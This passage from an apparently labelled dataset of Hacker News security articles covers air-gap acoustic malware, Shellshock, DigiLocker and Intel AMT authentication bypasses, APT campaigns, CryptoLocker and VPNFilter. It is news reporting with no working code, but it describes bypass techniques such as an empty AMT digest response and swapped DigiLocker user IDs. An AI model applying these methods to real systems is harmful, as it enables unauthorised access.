But Now German Researchers have published a paper on how malware can be designed to cross the air gap by transmitting information through speakers and recording it via microphone.

Rather than relying on TCP-IP, they used a network stack originally developed for underwater communication and the signal was propagated through the use of a software-defined modem based on the GNU Radio project.

In a scenario based hacking, ""The infected victim sends all recorded keystrokes to the covert acoustical mesh network. Infected drones forward the keystroke information inside the covert network till the attacker is reached, who is now able to read the current keyboard input of the infected victim from a distant place."" paper explained.
In another scenario, the researchers used sound waves to send keystroke information to a network-connected computer, which then sent the information to the attacker via email.

While the research doesn't prove Dragos Ruiu's badBIOS claims, but it does show that even if the system is disconnected from any network, could still be vulnerable to attackers. However, I would like to appreciate Dragos dedication about badBIOS research because this extraordinary concept was first introduced by him only.

Researchers POC Malware is able to transfer data at 20 bits per second only, which is very low, but that's still capable of transferring your password or credit card number to the hacker in a few seconds.

Some basic countermeasures one can adopt to protect against such malware are:
Switching off the audio input and output devices from the system.
Employ audio filtering that blocks high-frequency ranges.
Using an Audio Intrusion Detection Guard.
Lets see how Antivirus companies will handle such threats to protect home users.

",Cyber_Attack
Hackers Using 'Shellshock' Bash Vulnerability to Launch Botnet Attacks,https://thehackernews.com/2014/09/Shellshock-Bash-Vulnerability-exploit.html,"Researchers on Thursday discovered a critical remotely exploitable vulnerability in the widely used command-line shell GNU Bourne Again Shell (Bash), dubbed ""Shellshock"" which affects most of the Linux distributions and servers worldwide, and may already have been exploited in the wild to take over Web servers as part of a botnet that is currently trying to infect other servers as well.

BOTNET ATTACK IN THE WILD
The bot was discovered by the security researcher with the Twitter handle @yinettesys, who reported it on Github and said it appeared to be remotely controlled by miscreants, which indicates that the vulnerability is already being used maliciously by the hackers.

The vulnerability (CVE-2014-6271), which came to light on Wednesday, affects versions 1.14 through 4.3 of GNU Bash and could become a dangerous threat to Linux/Unix and Apple users if the patches to BASH are not applied to the operating systems.

However, the patches for the vulnerability were released but there was some concern that the initial fix for the issue still left Bash vulnerable to attack, according to a new US CERT National Vulnerability Database entry. There is as of yet no official patch that completely addresses both vulnerabilities, including the second, which allows an attacker to overwrite files on the targeted system.

SHELLSHOCK vs THE INTERNET
Robert Graham of Errata Security observed that the major internet scan is already being used by the cyber criminals in order to locate vulnerable servers for cyber attack. During a scan, Graham found about 3,000 servers that were vulnerable ""just on port 80"" — the Internet Protocol port used for normal Web Hypertext Transfer Protocol (HTTP) requests.

The Internet scan broke after a short while, which means that there could be a wide numbers of other servers vulnerable to the attack.
""It's things like CGI scripts that are vulnerable, deep within a website (like CPanel's /cgi-sys/defaultwebpage.cgi),"" Graham wrote in a blog post. ""Getting just the root page is the thing least likely to be vulnerable. Spidering the site and testing well-known CGI scripts (like the CPanel one) would give a lot more results—at least 10x.""
In addition, Graham said, ""this thing is clearly wormable and can easily worm past firewalls and infect lots of systems. One key question is whether Mac OS X and iPhone DHCP service is vulnerable—once the worm gets behind a firewall and runs a hostile DHCP server, that would be 'game over' for large networks.""

32 ORACLE PRODUCTS VULNERABLE
Oracle has also confirmed that over 32 of its products are affected by the ""Shellshock"" vulnerability including some expensive integrated hardware systems of the company. The company warned its users to wait a bit longer for the complete patch, by issuing a security alert regarding the Bash bug on Friday.
""Oracle is still investigating this issue and will provide fixes for affected products as soon as they have been fully tested and determined to provide effective mitigation against the vulnerability,"" the company said.
PATCH ISSUED, BUT INCOMPLETE
Patches were released from most of the Linux distributions, but Red Hat has updated an advisory warning that the patch is incomplete, the same issue that was also raised by infosec community on Twitter.
""Red Hat has become aware that the patches shipped for this issue are incomplete,"" said Red Hat security engineer Huzaifa Sidhpurwala. ""An attacker can provide specially-crafted environment variables containing arbitrary commands that will be executed on vulnerable systems under certain conditions The new issue has been assigned CVE-2014-7169.""
Although people are urged to apply the released patch to thwart most attacks on the affected systems, another patch is expected to release as soon as possible.

",Malware
Researchers uncover a new Iranian malware used in recent cyberattacks,https://thehackernews.com/2021/04/researchers-uncover-new-iranian-malware.html,"An Iranian threat actor has unleashed a new cyberespionage campaign against a possible Lebanese target with a backdoor capable of exfiltrating sensitive information from compromised systems.
Cybersecurity firm Check Point attributed the operation to APT34, citing similarities with previous techniques used by the threat actor as well as based on its pattern of victimology.
APT34 (aka OilRig) is known for its reconnaissance campaigns aligned with the strategic interests of Iran, primarily hitting financial, government, energy, chemical, and telecommunications industries in the Middle East.
The group typically resorts to targeting individuals through the use of booby-trapped job offer documents, delivered directly to the victims via LinkedIn messages. Although the latest campaign bears some of the same hallmarks, the exact mode of delivery remains unclear as yet.
The Word document analyzed by Check Point — which was uploaded to VirusTotal from Lebanon on January 10 — claims to offer information about different positions at a U.S.-based consulting firm named Ntiva IT, only to trigger the infection chain upon activating the embedded malicious macros, ultimately resulting in the deployment of a backdoor called ""SideTwist.""
Aside from gathering basic information about the victim's machine, the backdoor establishes connections with a remote server to await additional commands that allow it to download files from the server, upload arbitrary files, and execute shell commands, the results of which are posted back to the server.
Check Point notes that the use of new backdoor points to the group's ongoing efforts to overhaul and update their payload arsenal in the wake of a 2019 leak of its hacking tools, which also doxxed several officers of the Iranian Ministry of Intelligence who were involved with APT34 operations.
""Iran backed APT34 shows no sign of slowing down, further pushing its political agenda in the middle-east, with an ongoing focus on Lebanon — using offensive cyber operations,"" the researchers said. ""While maintaining its modus operandi and reusing old techniques, the group continues to create new and updated tools to minimize the possible detection of their tools by security vendors.""

",Cyber_Attack
Any Indian DigiLocker Account Could've Been Accessed Without Password,https://thehackernews.com/2020/06/aadhar-digilocker-hacked.html,"The Indian Government said it has addressed a critical vulnerability in its secure document wallet service Digilocker that could have potentially let a remote attacker bypass mobile one-time passwords (OTP) and sign in as other users.

Discovered separately by two independent bug bounty researchers, Mohesh Mohan and Ashish Gahlot, the vulnerability could have been exploited easily to unauthorisedly access sensitive documents uploaded by targeted users' on the Government-operated platform.

""The OTP function lacks authorization which makes it possible to perform OTP validation with submitting any valid users details and then manipulation flow to sign in as a totally different user,"" Mohesh Mohan said in a disclosure shared with The Hacker News.

With over 38 million registered users, Digilocker is a cloud-based repository that acts as a digital platform to facilitate online processing of documents and speedier delivery of various government-to-citizen services. It's linked to a user's mobile number and Aadhar ID—a unique identity number (UID) issued to every resident of India.


According to Mohan, all an attacker needs to know is either victim's Aadhaar ID or linked mobile number or username to unauthorizedly access a targeted Digilocker account, prompting the service to send an OTP and subsequently exploiting the flaw to bypass the sign-in process.

It's worth noting that the mobile app version of Digilocker also comes with a 4-digit PIN for an added layer of security. But the researchers said it was possible to modify the API calls to authenticate the PIN by associating the PIN to another user (identified with a version-5 UUID) and successfully login in as the victim.

This means ""you can do the SMS OTP [verification] as one user and submit the pin of a second user, and finally, you will end up logging as the second user,"" Mohan said.

What's more, the lack of authorization for the API endpoint used to set the secret PIN effectively implies the API can be exploited to reset the PIN linked to a random user using the individual's UUID.

""There is no session-related information on the POST request, so it's not bound to any user,"" Mohan added.


In addition to the issues mentioned above, the API calls from mobile apps were secured by basic authentication that can be circumvented by removing a header flag ""is_encrypted: 1."" The application was also found to implement a weak SSL pinning mechanism, making them vulnerable to a bypass using tools like Frida.

After the flaw was reported to CERT-In on May 10 by Mohan and to DigiLocker on 16th May by Ashish, the cyber agency said the issue was fixed on May 28.

""The nature of the vulnerability was such that an individual's DigiLocker account could potentially get compromised if the attacker knew the username for that particular account,"" Digilocker said in a tweet last week acknowledging the flaw. ""It was not a vulnerability that could let anyone get access to [the] DigiLocker account of anyone whose username and other details were not known.""

""Upon analysis, it was discovered that this vulnerability had crept in the code when some new features were added recently. The vulnerability was patched on a priority basis by the technical team within a day of getting the alert from CERT-In. This was not an attack on infrastructure, and no data, database, storage, or encryption was compromised,"" the team added.

",Data_Breaches
U.S Defense Warns of 3 New Malware Used by North Korean Hackers,https://thehackernews.com/2020/05/fbi-north-korean-malware.html,"Yesterday, on the 3rd anniversary of the infamous global WannaCry ransomware outbreak for which North Korea was blamed, the U.S. government released information about three new malware strains used by state-sponsored North Korean hackers.

Called COPPERHEDGE, TAINTEDSCRIBE, and PEBBLEDASH, the malware variants are capable of remote reconnaissance and exfiltration of sensitive information from target systems, according to a joint advisory released by the Cybersecurity and Infrastructure Security Agency (CISA), the Federal Bureau of Investigation (FBI), and the Department of Defense (DoD).

The three new malware strains are the latest addition to a long list of over 20 malware samples, including BISTROMATH, SLICKSHOES, HOPLIGHT, and ELECTRICFISH, among others, that have been identified by the security agencies as originating as part of a series of malicious cyber activity by the North Korean government it calls Hidden Cobra, or widely known by the moniker Lazarus Group.

Full-Featured Trojans

COPPERHEDGE, the first of the three new variants, is a full-featured Remote Access Tool (RAT) capable of running arbitrary commands, performing system reconnaissance, and exfiltrating data. It's being used by advanced threat actors to target cryptocurrency exchanges and related entities. Six different versions of COPPERHEDGE have been identified.

TAINTEDSCRIBE functions as a backdoor implant that masquerades itself as Microsoft's Narrator screen reader utility to download malicious payloads from a command-and-control (C2) server, upload, and execute files, and even create and terminate processes.

Lastly, PEBBLEDASH, like TAINTEDSCRIBE, is another trojan with capabilities to ""download, upload, delete, and execute files; enable Windows CLI access; create and terminate processes; perform target system enumeration.""

A significant Cyber Espionage Threat

The WannaCry ransomware infection of 2017, also known as Wanna Decryptor, leveraged a Windows SMB exploit, dubbed EternalBlue, that allowed a remote hacker to hijack unpatched Windows computers in return for Bitcoin payments of up to $600. The attack has since been traced to Hidden Cobra.

With the Lazarus Group responsible for the theft of more than $571 million worth of cryptocurrency from online exchanges, the financially-motivated attacks led the US Treasury to sanction the group and its two off-shoots, Bluenoroff and Andariel, last September.

Then earlier this March, the US Department of Justice (DoJ) charged two Chinese nationals working on behalf of the North Korean threat actors to allegedly launder over $100 million worth of the stolen cryptocurrency using prepaid Apple iTunes gift cards.

Last month, the US government had issued guidance on the 'significant cyber threat' posed by North Korean state-sponsored hackers to the global banking and financial institutions, in addition to offering a monetary reward of up to $5 million for information about past or ongoing illicit DPRK activities in the cyber realm.

""The DPRK's malicious cyber activities threaten the United States and the broader international community and, in particular, pose a significant threat to the integrity and stability of the international financial system,"" the advisory cautioned.

""Under the pressure of robust US and UN sanctions, the DPRK has increasingly relied on illicit activities – including cybercrime – to generate revenue for its weapons of mass destruction and ballistic missile programs.""

",Cyber_Attack
How to protect your computer from CryptoLocker ransomware malware ?,https://thehackernews.com/2013/11/how-to-protect-your-computer-from.html,"CryptoLocker is an especially insidious form of Ransomeware malware that was first detected in the wild in September 2013, restricts access to infected computers and requires victims to pay a ransom in order to regain full access.

What makes CryptoLocker so bad is the way it encrypts the user data on your hard drive using a strong encryption method. This makes it literally impossible to access your own data without paying the ransom amount to the criminals between $100 and $300 or two Bitcoins, even now more.

Once affected you will be locked out of your computer and unless you pay the ransom amount in 72 hours , the virus will delete the decryption key to decrypt all the files on your PC .

The malware lands on PCs the same way other malware does and a few sensible precautions will help minimize the chances of a CrytoLocker attack.

Yesterday, we reported that - UK's National Crime Agency has given out an urgent national alert that a mass spamming event targeting 10 million UK based email users with CryptoLocker.
What if your computer gets compromised? Currently there is no option to decrypt the files without the decryption key and brute forcing a file encrypted with 2048 bit encryption is almost impossible. If you don't pay the ransom, you forever lose access to everything you've been working on which is stored on your computer.

A few things you can do to prevent your PC from getting infected with the CryptoLocker virus:
Most viruses are introduced by opening infected attachments or clicking on links to malware usually contained in spam emails. Avoid opening emails and attachments from unknown sources, especially zip or rar archive files.
Most people have some anti-virus program, but how do you know it's effective? Ensure you have best one active and up-to-date.
Also keep your operating system and software up-to-date.
Keep a backup. If you have a real-time backup software then make sure that you first clean the computer and then restore the unencrypted version of the files.
Create files in the Cloud and upload photos to online accounts like Flickr or Picasa.
Windows 7 users should set up the System Restore points or, if you are using Windows 8, configure it to keep the file history.
Make sure you have reformatted your hard drive to completely remove the CryptoLocker trojan before you attempt to re-install Windows and/or restore your files from a backup.
There are many free tools now available in the community, that can help users to protect their systems from this malware.

1.) CryptoPrevent tool, created by American security expert Nick Shaw.
This tool applies a number of settings to your installation of Windows that prevents CryptoLocker from ever executing and has been proven to work in Windows XP and Windows 7 environments.

2.) HitmanPro.Alert 2.5, a free utility that will help you to protect your computer against the CryptoLocker ransomware malware.
HitmanPro.Alert 2.5 contains a new feature, called CryptoGuard that monitors your file system for suspicious operations. When suspicious behavior is detected, the malicious code is neutralized and your files remain safe from harm.

3.) BitDefender Anti-CryptoBlocker, an encryption-blocking tool that can detect and block malware from installation.

Intrusion prevention systems can block the communications protocol send from the Cryptolocker infected system to the remote command-and-control server where the malware retrieves the key to encrypt the files. Blocking the communications can prevent the encryption from taking place.

Read more detailed articles on Cryptolocker Ransomware:
Cryptolocker Ransomware makes different Bitcoin wallet for each victim
CryptoLocker Ransomware demands $300 or Two Bitcoins to decrypt your files
CryptoLocker developer launches Decryption Service website; 10 Bitcoins for Decryption Keys
For further Cyber Safety Alerts Join us on Twitter and Facebook.

",Malware
400 million new variants of malware created in a year,https://thehackernews.com/2012/10/400-million-new-variants-of-malware.html,"Symantec provide overview and analysis of the year in global threat activity via its Internet Security Threat Report (ISTR), with a exclusive details that 400 million new variants of malware were created in 2011, which is an average of 33 million new variants of malware a month, or an average of one million new variants a day.

The report is based on data from the Global Intelligence Network, which Symantec's analysts use to identify, analyze, and provide commentary on emerging trends in attacks, malicious code activity, phishing, and spam. Here are some highlights from the threat landscape of 2011.

""It is impossible to manually analyze such a large number of sample files, so it is therefore necessary to use an automated threat analysis system to analyze sample behavior and prioritize the files that virus definitions should be created for."" Symantec said in a blog post.

Political activism and hacking were two big themes in 2011 themes that are continuing into 2012. There were many attacks last year that received lots of media attention. Hacking can undermine institutional confidence in a company, and loss of personal data can result in damage to an organization's reputation.
Also, Many companies are keen to adopt cloud computing. It can reduce costs by outsourcing routine services. The first risk is unmanaged employee use of cloud services.

The proportion of phishing emails varied considerably by company size with the smallest and largest companies attracting the most, but the proportion of spam was almost identical for all sizes of business.

The United States was the number one source of all activities, except for malicious code and spam zombies, where India took first place. Around 12.6% of bot activity originated in the USA as did 33.5% of web-based attacks, 16.7 % of network attacks and 48.5% of phishing websites.

Get complete report here.

",Malware
"FBI seizes control of a massive botnet that infected over 500,000 routers",https://thehackernews.com/2018/05/vpnfilter-botnet-malware.html,"Shortly after Cisco's released its early report on a large-scale hacking campaign that infected over half a million routers and network storage devices worldwide, the United States government announced the takedown of a key internet domain used for the attack.

Yesterday we reported about a piece of highly sophisticated IoT botnet malware that infected over 500,000 devices in 54 countries and likely been designed by Russia-baked state-sponsored group in a possible effort to cause havoc in Ukraine, according to an early report published by Cisco's Talos cyber intelligence unit on Wednesday.

Dubbed VPNFilter by the Talos researchers, the malware is a multi-stage, modular platform that targets small and home offices (SOHO) routers and storage devices from Linksys, MikroTik, NETGEAR, and TP-Link, as well as network-access storage (NAS) devices.

Meanwhile, the court documents unsealed in Pittsburgh on the same day indicate that the FBI has seized a key web domain communicating with a massive global botnet of hundreds of thousands of infected SOHO routers and other NAS devices.

The court documents said the hacking group behind the massive malware campaign is Fancy Bear, a Russian government-aligned hacking group also known as APT28, Sofacy, X-agent, Sednit, Sandworm, and Pawn Storm.

The hacking group has been in operation since at least 2007 and has been credited with a long list of attacks over the past years, including the 2016 hack of the Democratic National Committee (DNC) and Clinton Campaign to influence the U.S. presidential election.
""This operation is the first step in the disruption of a botnet that provides the Sofacy actors with an array of capabilities that could be used for a variety of malicious purposes, including intelligence gathering, theft of valuable information, destructive or disruptive attacks, and the misattribution of such activities,"" John Demers, the Assistant Attorney General for National Security, said in a statement.
Among other, Talos researchers also found evidence that the VPNFilter source code share code with versions of BlackEnergy—the malware responsible for multiple large-scale attacks targeting devices in Ukraine that the U.S. government has attributed to Russia.

VPNFilter has been designed in a way that it could be used to secretly conduct surveillance on its targets and gather intelligence, interfere with internet communications, monitor industrial control or SCADA systems, such as those used in electric grids, other infrastructure and factories, as well as conduct destructive cyber attack operations.

The seizure of the domain that is part of VPNFilter's command-and-control infrastructure allows the FBI to redirect attempts by stage one of the malware (in an attempt to reinfect the device) to an FBI-controlled server, which will capture the IP address of infected devices and pass on to authorities around the globe who can remove the malware.

Users of SOHO and NAS devices that are infected with VPNFilter are advised to reboot their devices as soon as possible, which eliminates the non-persistent second stage malware, causing the persistent first-stage malware on their infected device to call out for instructions.
""Although devices will remain vulnerable to reinfection with the second stage malware while connected to the Internet, these efforts maximize opportunities to identify and remediate the infection worldwide in the time available before Sofacy actors learn of the vulnerability in their command-and-control infrastructure,"" the DoJ said.
Since VPNFilter does not exploit any zero-day vulnerability to infect its victims and instead searches for devices still exposed to known vulnerabilities or having default credentials, users are strongly recommended to change default credentials for their devices to prevent against the malware.

Moreover, always put your routers behind a firewall, and turn off remote administration until and unless you really need it.

If your router is by default vulnerable and can't be updated, it is time you buy a new one. You need to be more vigilant about the security of your smart IoT devices.

",Malware
Molerats Hackers Return With New Attacks Targeting Middle Eastern Governments,https://thehackernews.com/2021/06/molerats-hackers-return-with-new.html,"A Middle Eastern advanced persistent threat (APT) group has resurfaced after a two-month hiatus to target government institutions in the Middle East and global government entities associated with geopolitics in the region in a rash of new campaigns observed earlier this month.
Sunnyvale-based enterprise security firm Proofpoint attributed the activity to a politically motivated threat actor it tracks as TA402, and known by other monikers such as Molerats and GazaHackerTeam.
Based on its targeting and previous campaigns, TA402 is alleged to operate with motives that align with military or Palestinian state objectives. The threat actor is believed to be active for a decade, with a history of striking organizations primarily located in Israel and Palestine, and spanning multiple verticals such as technology, telecommunications, finance, academia, military, media, and governments.
It's not clear what prompted the collective to cease its operations for two months, but Proofpoint researchers speculated that either the holy month of Ramadan or the current flare-ups in the region and the ensuing violence in May may have played a part.
The latest wave of attacks commenced with spear-phishing emails written in Arabic and containing PDF attachments that come embedded with a malicious geofenced URL to selectively direct victims to a password-protected archive only if the source IP address belongs to the targeted countries in the Middle East.
Recipients who fall outside of the target group are diverted to a benign decoy website, typically Arabic language news websites like Al Akhbar (www.al-akhbar.com) and Al Jazeera (www.aljazeera.net).
""The password protection of the malicious archive and the geofenced delivery method are two easy anti-detection mechanisms threat actors can use to bypass automatic analysis products,"" the researchers said.
The last step in the infection chain involved extracting the archive to drop a custom implant called LastConn, which Proofpoint said is an upgraded or new version of a backdoor called SharpStage that was disclosed by Cybereason researchers in December 2020 as part of a Molerats espionage campaign targeting the Middle East.
Besides displaying a decoy document when LastConn is run for the first time, the malware relies heavily on Dropbox API to download and execute files hosted on the cloud service, in addition to running arbitrary commands and capturing screenshots, the results of which are subsequently exfiltrated back to Dropbox.
If anything, the ever-evolving toolset of TA402 underscores the group's continued focus on developing and modifying customized malware implants in an attempt to sneak past defenses and thwart detection.
""TA402 is a highly effective and capable threat actor that remains a serious threat, especially to entities operating in and working with government or other geopolitical entities in the Middle East,"" the researchers concluded. ""It is likely TA402 continues its targeting largely focused on the Middle East region.""

",Malware
Explained — How Intel AMT Vulnerability Allows to Hack Computers Remotely,https://thehackernews.com/2017/05/intel-amt-vulnerability.html,"Earlier this week Intel announced a critical escalation of privilege bug that affects its remote management features shipping with Intel Server chipsets for past 7 years, which, if exploited, would allow a remote attacker to take control of vulnerable PCs, laptops, or servers.

The vulnerability, labeled CVE-2017-5689, affects Intel remote management technologies, including Active Management Technology (AMT), Intel Standard Manageability (ISM), and Intel Small Business Technology (SBT) software, versions 6 through 11.6.

The flaw was originally discovered by Maksim Malyutin, a member of Embedi research team, in mid-February, who then responsibly disclosed it to the Intel security team.

My previous article, published earlier this week, was based on the partial information shared by Maksim to The Hacker News, as the reported Intel AMT vulnerability was highly critical and can be exploited remotely, Embedi held technical details until most sysadmins update their systems with a patched firmware.

Today, Embedi research team has disclosed complete technical details about the critical vulnerability, revealing that a remote attacker can hijack computers powered by Intel Chipset just by sending an empty authentication string.

To understand how, I have compiled this piece explaining:
What is Intel AMT technology?
Where the Intel AMT Vulnerability resides?
How can an attacker exploit Intel AMT Vulnerability?

What is Intel AMT technology?

Intel-based chipsets come with an embedded technology, called Intel Active Management Technology (AMT), to enhance the ability of IT administrators, allowing them to remotely manage and repair PCs, workstations, and servers of their organization.

Using a web-based control panel, accessible from port 16992 and 16993, which comes pre-installed on the chipset, an administrator can remotely manage a system.

The Intel AMT Web Interface works even when the system is turned off, as long as the platform is connected to a line power and a network cable, as it operates independently of the operating system.

Where the Intel AMT Vulnerability resides?

To protect Intel AMT Web Interface from unauthorized users, the service makes use of HTTP Digest and Kerberos authentication.

The escalation of privilege vulnerability resides in the way Intel AMT Web Interface handles user authentication over HTTP Digest protocol, which is based on a simple challenge-response paradigm.

Before going into the technical details about the exploitation of this vulnerability, first, you need to know how the Digest authentication works.

The Digest authentication completes in the following steps:
Client requests server to initiate login, and in response, the server returns a randomly generated 'nonce' value, the HTTP method, and the requested URI.
Next, the user is prompted to enter his username and password.
Once entered, the client machine sends an encrypted string (referred as user_response)—generated by applying a hash function to the entered username and password, server-supplied nonce value, HTTP method, and the requested URI—to the server.
The server also calculates a similar encrypted string (referred as computed_response) using username and password stored in the database and all the other three values.
The server compares both the strings using the strncmp() function and if they match, it allows the user to log into the Intel AMT Web Interface.
The Intel AMT vulnerability resides exactly in the strncmp() function that server uses to compare both encrypted strings.
Syntax example:
strncmp (string_1, string_2 , length)
—where, length parameter defines how many characters needs to be compared.
Strncmp() is a binary safe string comparison function that returns a negative, zero, or a positive integer depending upon whether string_1 is greater or less than string_2, and if they are equal, it returns zero.


As, it's obvious, for successful authentication, user_response variable must be equal to computed_response variable; hence the strncmp() function must return a zero value for any length.

But, according to the researcher, the programmers who coded this authentication process for Intel platform mistakenly used the length of the user_response variable in strncmp() function, instead of the computed_response variable for response_length parameter.

How can an attacker exploit Intel AMT Vulnerability? (Demo)
(The above video demonstration for Intel AMT flaw has been submitted by our beloved readers and independent security researchers, Dhanunjaya.V & Jithin D Kurup, who have previously reported critical flaws in IP cameras, bill boards, banks and payment gateways and many Indian Government sites.)

To exploit this logical flaw in Intel AMT Web Interface, all an unauthorized attacker needs to do is send nothing (null) into user_response to the server.

Since the strncmp() function is mistakenly using character length of the user_response variable to authorize the user, which in this case is null, the string comparison function would be tricked into matching nothing and believe that attacker's response (user_response) is equals to the computed_response.

As both variables matched, the attacker will be authenticated to log into the Intel AMT Web Interface and do whatever an authorized administrator can do, gaining high-level privileges on the system.

Computers Can be Hacked Even If They're Turned OFF

An attacker can also use Keyboard Video Mouse (KVM) feature, available inside Intel AMT Web Panel, which runs at a hardware level and allows sysadmins to remotely take control of the whole system, and perform tasks like:
""[Attacker] can remotely load, execute any program to the target system, read/write any file (using the common file explorer),"" the research team wrote in its paper [PDF]. ""Using IDE-R (IDE Redirection), [the attacker] can remotely change the boot device to some other virtual image for example.""
""Using SOL (Serial over LAN), [the attacker] can remotely power on/power off/reboot/reset and do other actions with this feature. Also, it can be used to access BIOS setup for editing,"" the team added.
In short, a potential attacker can do everything that a sysadmin can do: he can log into a vulnerable machine's hardware, and silently perform malicious activities, like tampering with the system and installing virtually undetectable malware.

Install Firmware Update to Patch the Vulnerability NOW!

The bug affects Intel manageability firmware versions 6.x, 7.x, 8.x 9.x, 10.x, 11.0, 11.5, and 11.6 for Intel's AMT, ISM, and SBT platforms. However, versions before 6 or after 11.6 are not impacted.

Intel has rated the vulnerability as highly critical and released new firmware versions, instructions to detect if any workstation runs AMT, ISM, or SBT, a detection guide to check if your system is vulnerable, and a mitigation guide for those organizations that can not immediately install updates.

So, the Intel customers are strongly recommended to install a firmware patch without wasting a single second.

Also, there's a simple mitigation tool available on Github, created by Malware researcher Bart Blaze, which is based on the Mitigation Guide provided by Intel.

All an affected user has to do is, just download and run DisableAMT.exe, it will disable Intel AMT on Windows operating system (x86 and x64).

",Vulnerability
Watering Hole Attack Was Used to Target Florida Water Utilities,https://thehackernews.com/2021/05/watering-hole-attack-was-used-to-target.html,"An investigation undertaken in the aftermath of the Oldsmar water plant hack earlier this year has revealed that an infrastructure contractor in the U.S. state of Florida hosted malicious code on its website in what's known as a watering hole attack.
""This malicious code seemingly targeted water utilities, particularly in Florida, and more importantly, was visited by a browser from the city of Oldsmar on the same day of the poisoning event,"" Dragos researcher Kent Backman said in a write-up published on Tuesday.
The site, which belongs to a Florida-based general contractor involved in building water and wastewater treatment facilities, had no bearing on the intrusion, the American industrial cybersecurity firm said.
Watering hole attacks typically allow an adversary to compromise a specific group of end-users by compromising a carefully selected website, which members of that group are known to visit, with an intention to gain access to the victim's system and infect it with malware.
In this specific case, however, the infected website didn't deliver exploit code or attempt to achieve access to visitors' systems. Instead, the injected code functioned as a browser enumeration and fingerprinting script that harvested various details about the website's visitors, including operating system, CPU, browser (and plugins), input methods, presence of a camera, accelerometer, microphone, time zone, locations, video codecs, and screen dimensions.
The collected information was then exfiltrated to a database hosted on a Heroku app site (bdatac.herokuapp[.]com) that also stored the script. The app has since been taken down. Dragos suspects a vulnerable WordPress plugin may have been exploited to insert the script into the website's code.
No fewer than 1,000 end-user computers visited the infected site during the 58-day window beginning Dec. 20, 2020, before it was remediated on Feb. 16, 2021. ""Those who interacted with the malicious code included computers from municipal water utility customers, state and local government agencies, various water industry-related private companies, and normal internet bot and website crawler traffic,"" Backman said.
""Dragos' best assessment is that an actor deployed the watering hole on the water infrastructure construction company site to collect legitimate browser data for the purpose of improving the botnet malware's ability to impersonate legitimate web browser activity,"" the researcher added.
Based on telemetry data gathered by the company, one among those 1,000 visits came from a computer residing in the network belonging to the City of Oldsmar on Feb. 5, the same day an unidentified adversary managed to increase sodium hydroxide dosage in the water supply to dangerous levels by remotely accessing the SCADA system at the water treatment plant.
The attackers were ultimately foiled in their attempt by an operator, who managed to catch the manipulation in real-time and restored the concentration levels to undo the damage. The unauthorized access is said to have occurred via TeamViewer remote desktop software installed on one of the plant's several computers that were connected to the control system.
The Oldsmar plant cyberattack, and more recently the Colonial Pipeline ransomware incident, have set off concerns about the potential for tampering with industrial control systems deployed in critical infrastructure, prompting the U.S. government to take steps to bolster defenses by protecting federal networks and improving information-sharing between the U.S. government and the private sector on cyber issues, among others.
""This is not a typical watering hole,"" Backman said. ""We have medium confidence it did not directly compromise any organization. But it does represent an exposure risk to the water industry and highlights the importance of controlling access to untrusted websites, especially for Operational Technology (OT) and Industrial Control System (ICS) environments.""

",Malware
Free CryptoLocker Ransomware Decryption Tool Released,https://thehackernews.com/2014/08/CryptoLocker-Decryption-Keys-Tool.html,"When I say Ransomware, the first nasty piece of malware strikes in the mind is CryptoLocker. A nasty strain of ransomware malware that threatened most of the people around the world by effectively destroying important files of the victims forever.

CRYPTOLOCKER - A DEVASTATING THREAT
CryptoLocker is a simple rather a devastating piece of Ransomware that encrypts the files on a victim's computer and issues an ultimatum - Pay up or lose your data.

CryptoLocker is particularly designed to extort money from computer users by holding computer files hostage until the computer user pays a ransom fee to get them back. Cryptolocker hijacker sniffs out your personal files and wraps them with strong AES-256-bit encryption before it demands money.

HOW TO DECRYPT CRYPTOLOCKER? FREE TOOL RELEASED
Thanks to security experts, who created an online service where victims whose systems have been encrypted by the CryptoLocker ransomware can get the decryption keys for free.

This online portal has been created by the security researchers from Security software and services firms Fireeye and Fox-IT. The researchers created the portal after they used a copy of CryptoLocker's database of victims that was obtained during the recent takedown of the GameOver Zeus botnet, which was used to distribute the ransomware.

""This time we basically got lucky,"" said Michael Sandee, principal analyst at Fox-IT, one of the security firms which helped uncover the cybercrime group behind Cryptolocker.

The infrastructure of Cryptolocker and other malware was taken down in June under a campaign known as Operation Tovar, but there are still many cases where this nasty strain of ransomware is infecting users, according to Fireeye.
""After the success of Operation Tovar, there were few resources available to help decrypt files that were still encrypted with the attacker's private key,"" Fireeye explains in a blog post.
CRYPTOLOCKER DEMANDS $500, BUT ONLINE DECRYPTION TOOL IS FREE
Where CryptoLocker ransomware forced its victim to pay upto $500 in Bitcoins within 72 hours for the private keys necessary to unlock personal files, on the other hand, the security firms are providing the private decryption keys for free via the just-launched Decrypt CryptoLocker website.

According to FBI estimates from June, more than 500,000 people fell victim to CryptoLocker between September 2013 and May 2014. Fox-IT says around 1.3 percent of victims paid to free their files, which indicates, the malware earned its makers around $3 million before the criminal network was smashed by authorities and security researchers in May.

HOW TO DECRYPT FILES INFECTED BY CRYPTOLOCKER
You only need a master decryption key in order to decrypt the locked files.
Go to https://www.decryptcryptolocker.com
Upload an email address and one of the encrypted files (one that should have no sensitive information).
The online tool will scan the file to figure out the encryption specifics, and then send you a recovery program and master decryption key via an email. You can take that key and the free decryptolocker.exe command line tool and decrypt your files.

FireEye warns that some data might not be recoverable, particularly if you've been infected by a CryptoLocker variant rather than CryptoLocker itself. You need to keep this in mind that there are many Cryptolocker variants with the names like PrisonLocker, CryptoDefense, TorLocker and CryptorBit, so the tool may not work against them.

Read More - Learn How to protect your computer from Cryptolocker Malware.

",Malware
Round 4 — Hacker Puts 26 Million New Accounts Up For Sale On Dark Web,https://thehackernews.com/2019/03/data-breach-security.html,"A hacker who was selling details of nearly 890 million online accounts stolen from 32 popular websites in three separate rounds has now put up a fourth batch of millions of records originating from 6 other sites for sale on the dark web.

The Hacker News today received a new email from the Pakistani hacker, who goes by online alias Gnosticplayers and previously claimed to have hacked dozens of popular websites from companies which, according to him, probably had no idea that they were compromised.

The hacker last month made three rounds of stolen accounts up for sale on the popular dark web market called Dream Market, posting details of 620 million accounts stolen from 16 websites in the first round, 127 million records from 8 sites in the second, and 92 million from 8 websites in the third.

Although while releasing the third round Gnosticplayers told The Hacker News that it would be his last batch of the stolen database, the hacker released the fourth round containing nearly 27 million new users' records originating from 6 other websites.
Gnosticplayers told The Hacker News in an email that the fourth round up for sale on Dream Market belonged to the following 6 hacked websites:
Youthmanual — Indonesian college and career platform — 1.12 million accounts
GameSalad — Online learning platform —1.5 million accounts
Bukalapak — Online Shopping Site — 13 million accounts
Lifebear — Japanese Online Notebook — 3.86 million accounts
EstanteVirtual — Online Bookstore — 5.45 Million accounts
